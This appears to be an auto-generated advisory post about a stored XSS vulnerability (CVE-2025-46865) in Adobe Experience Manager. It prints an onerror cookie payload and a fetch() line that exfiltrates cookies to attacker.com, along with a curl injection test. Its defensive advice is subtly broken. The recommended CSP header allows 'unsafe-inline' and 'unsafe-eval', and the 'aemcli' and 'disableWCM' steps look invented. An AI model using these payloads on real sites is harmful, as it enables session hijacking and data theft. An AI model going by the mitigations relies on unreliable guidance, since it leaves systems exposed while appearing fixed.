Listen to this Post
How CVE-2025-46865 Works
Adobe Experience Manager (AEM) versions 6.5.22 and earlier fail to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript. When a victim accesses a compromised page, the script executes in their browser, potentially leading to session hijacking, data theft, or unauthorized actions. The vulnerability stems from insufficient input validation in the WCM (Web Content Management) component, where payloads persist in the database and render dynamically. Attackers exploit this by submitting crafted requests containing script tags or event handlers (e.g., `` or onerror=alert(1)), which are then stored and executed upon page load.
DailyCVE Form
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation Analysis
1. Payload Injection:
<img src=x onerror=alert(document.cookie)>
2. Exfiltration:
fetch('https://attacker.com/steal?data=' + btoa(document.cookie));
Protection Measures
1. Input Sanitization:
// AEM Filter Example String sanitizedInput = ESAPI.encoder().encodeForHTML(userInput);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
Detection Commands
1. CURL Test:
curl -X POST -d "field=<script>alert(1)</script>" https://aem-instance/content/form.html
2. Log Analysis:
grep -r "onerror|<script>" /var/log/aem/error.log
Patch Verification
1. Version Check:
aemcli --version | grep "6.5.23"
2. Post-Patch Test:
// Confirm sanitization
console.log(document.getElementById('field').innerHTML.includes('<'));
Mitigation Workaround
1. Disable WCM:
<!-- /apps/settings/config.xml --> <disableWCM>true</disableWCM>
2. Regex Filter:
Pattern.compile("[<>\"']").matcher(input).replaceAll("");
References
– Adobe Security Bulletin
– OWASP XSS Cheat Sheet
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
